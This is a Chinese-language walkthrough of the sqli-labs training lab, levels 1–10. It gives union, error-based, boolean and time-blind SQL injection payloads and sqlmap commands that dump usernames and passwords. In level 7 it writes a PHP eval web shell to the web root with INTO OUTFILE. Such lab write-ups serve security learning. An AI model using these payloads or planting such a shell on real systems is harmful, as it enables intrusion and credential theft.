第一关
可以直接使用union注入
原url:(http://192.168.122.229/sqli-labs/Less-1/?id=1)
查看是否存在sql注入
?id=1'查看几个位置
?id=1' order by 4 --+试探注入点:
?id=-1' union select 1,2,3 --+拿当前数据库
?id=-1' union select 1,2,database() --+拿所有数据库
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+查看表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1 --+拿字段
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1 --+拿到一条具体数据
?id=-1' union select 1,2,concat(username,":",password) from users limit 0,1 --+拿所有数据
?id=-1' union select null,group_concat(username),group_concat(password) from users --+第二关
只需要把上一关的?id=-1'改成?id=-1 ,去掉后面的单引号,即可通用,这里跳过
第三关
第三关的闭合方式是单引号和括号闭合,把?id=1'改成?id=-1') ,即可继续通用
第四关
这里我们输入?id=4'使用单引号发现页面没有什么变化

然后输入?id=4"使用单引号发现页面开始报错,说明使用的是双引号和括号的闭合方式

所以和上面的操作步骤一样,把?id=-1') 改成 ?id=-1") 即可继续使用,最终的payload为
?id=-1") union select null,group_concat(username),group_concat(password) from users --+第五关
第五关用的是报错注入,union注入就没法使用了
这里我们正常传入?id=4,发现他没有显示用户名密码

输入?id=4'发现有报错信息,所以我们就在后面加上报错查询的公式就可以( 这里的0x7e就是~的16进制)
' AND updatexml(1, concat(0x7e, (【查询语句】), 0x7e), 1)--+ 爆数据库
?id=1' AND updatexml(1, concat(0x7e, (select database()), 0x7e), 1)--+
爆所有数据库
' AND updatexml(1, concat(0x7e, (select group_concat(schema_name)from information_schema.schemata), 0x7e), 1)--+
发现无法完整显示,那我们就可以分段获取,这里用substr()做演示
-- 第1段:从第1位开始,取31位
?id=1' AND updatexml(1, concat(0x7e, substr((SELECT group_concat(schema_name) FROM information_schema.schemata), 1, 31), 0x7e), 1)--+
-- 显示:~emails,referers,uagents,use~ (1-31位)
-- 第2段:从第32位开始,取31位
?id=1' AND updatexml(1, concat(0x7e, substr((SELECT group_concat(schema_name) FROM information_schema.schemata ), 32, 31), 0x7e), 1)--+
-- 显示:~rs,users,admin,logs,confi~ (32-62位)
-- 第3段:从第63位开始,取31位
?id=1' AND updatexml(1, concat(0x7e, substr((SELECT group_concat(schema_name) FROM information_schema.schemata ), 63, 31), 0x7e), 1)--+
爆数据表
?id=1' AND updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema='security'), 0x7e),1)--+
爆字段
?id=1' AND updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'), 0x7e),1)--+爆数据
?id=1' AND updatexml(1, concat(0x7e, (select group_concat(concat(username, ':', password)) from users), 0x7e), 1)--+
第六关
这一关还是报错注入,传入?id=1'发现还是没报错,改成双引号"发现成功报错,接下来和第5关步骤一样,只需要把?id=1'改成?id=1"即可
最后的payload
?id=1" AND updatexml(1, concat(0x7e, (select group_concat(concat(username, ':', password)) from users), 0x7e), 1)--+第七关
第七关要求我们使用文件读写,不只是拿到数据那么简单,还要植入木马,我们要先确保mysql的secure_file_priv="" 参数为空
使用?id=1')) AND (('1'))=(('1 探测闭合方式,发现可以正常显示,说明是'))的闭合方式,
使用?id=1')) AND (SELECT COUNT(*) FROM mysql.user)>0--+发现页面可以正常显示,
这里我们先获取绝对路径,使用sqlmap盲注

然后植入木马
?id=-1')) UNION SELECT 1,"<?php @eval($_POST['cmd']);?>",3 INTO OUTFILE "C:/phpstudy/PHPTutorial/WWW/sqli-labs/Less-7/shell.php"--+访问http://target/sqli-labs/Less-7/shell.php说明成功,然后使用中国蚁剑连接

说明木马植入成功
当然如果只是拿数据,这一关的报错信息都是一个样子,不显示具体信息,这里就使用布尔盲注获取数据,用sqlmap,只需要在第八关的payload加上--prefix="'))" ,接下来按照第八关步骤即可

第八关
这一关要是使用布尔盲注,只要条件正确才会有显示,输入?id=1' and 1=1--+ 页面正常显示

但是输入错误的信息?id=1' and 1=2--+就会没有显示

所以我们就可以猜出数据库名的长度?id=1' and length(database())=8--+(这个8可以换,从1一直试,知道可以正常显示),然后再利用ASCII码判断出具体名字
-- database()后面的1代表第一个字符,115是s的ASCII编码
?id=1' and ascii(mid(database(),1,1))=115--+
-- 第二个字符,101对应的是e,以此类推
?id=1' and ascii(mid(database(),2,1))=101--+但是这个方法太费时间来,效率太低,我们可以使用sqlmap自动注入,-u后面的是目标url替换成真实的
爆所有数据库
python sqlmap.py -u "http://target/sqli-labs/Less-8/?id=1" --technique=B --batch
只获取当前数据库
python sqlmap.py -u "http://target/sqli-labs/Less-8/?id=1" --current-db --batch 
爆数据表
python sqlmap.py -u "http://target/sqli-labs/Less-8/?id=1" --technique=B -D security --tables --batch
获取字段名
python sqlmap.py -u "http://target/sqli-labs/Less-8/?id=1" --technique=B -D security -T users --columns --batch
获取最终数据
python sqlmap.py -u "http://target/sqli-labs/Less-8/?id=1" --technique=B -D security -T users -C username,password --dump --batch
第九关
这一关用的是延时注入,我们可以发现无论我们输入的是啥,页面都没有变化,所以使用时间盲注
?id=1' AND IF(1=1, SLEEP(5), 0)--+ → 延迟5秒(真)
?id=1' AND IF(1=2, SLEEP(5), 0)--+ → 立即返回(假)条件为真,f12,点击网络发现确实延时了

判断数据库的长度
IF(条件, 真值, 假值)
?id=1' and IF(length(database())=8, SLEEP(5), 0)
↑ ↑ ↑
条件判断 条件为真执行 条件为假执行但和布尔盲注一样,效率太低了,这里还是使用sqlmap
获取所有数据库
python sqlmap.py -u "http://target/sqli-labs/Less-9/?id=1" --technique=T --dbs --batch 只获取当前数据库
python sqlmap.py -u "http://target/sqli-labs/Less-9/?id=1" --technique=T --current-db --batch 获取当前数据库的数据表
python sqlmap.py -u "http://target/sqli-labs/Less-9/?id=1" --technique=T -D security --tables --batch获取当前数据表的字段名
python sqlmap.py -u "http://target/sqli-labs/Less-9/?id=1" --technique=T -D security -T users --columns --batch获取所有数据
python sqlmap.py -u "http://target/sqli-labs/Less-9/?id=1" --technique=T -D security -T users -C username,password --dump --batch第十关
这一关使用的也是延时注入,只不过闭合方式由单引号 ' 变成了双引号 "
判断是否存在注入:?id=1" AND IF(1=2, SLEEP(5), 0)--+
猜数据库长度:?id=1" and IF(length(database())=8, SLEEP(5), 0)
猜数据库的第一个字符: ?id=1" and if(ascii(mid(database(),1,1))=115,sleep(5),1)--+
第二个字符 ?id=1" and if(ascii(mid(database(),2,1))=101,sleep(5),1)--+
仍然可以使用sqlmap,这里有一个坑,需要给sqlmap指定闭合方式,这里用--prefix 参数做演示
sqlmap -u "http://target/sqli-labs/Less-10/?id=1" --prefix='"' --technique=T --current-db --batch不然就会报错

接下来只需要在第九关的sqlmap命令后加上 --prefix='"' 就可以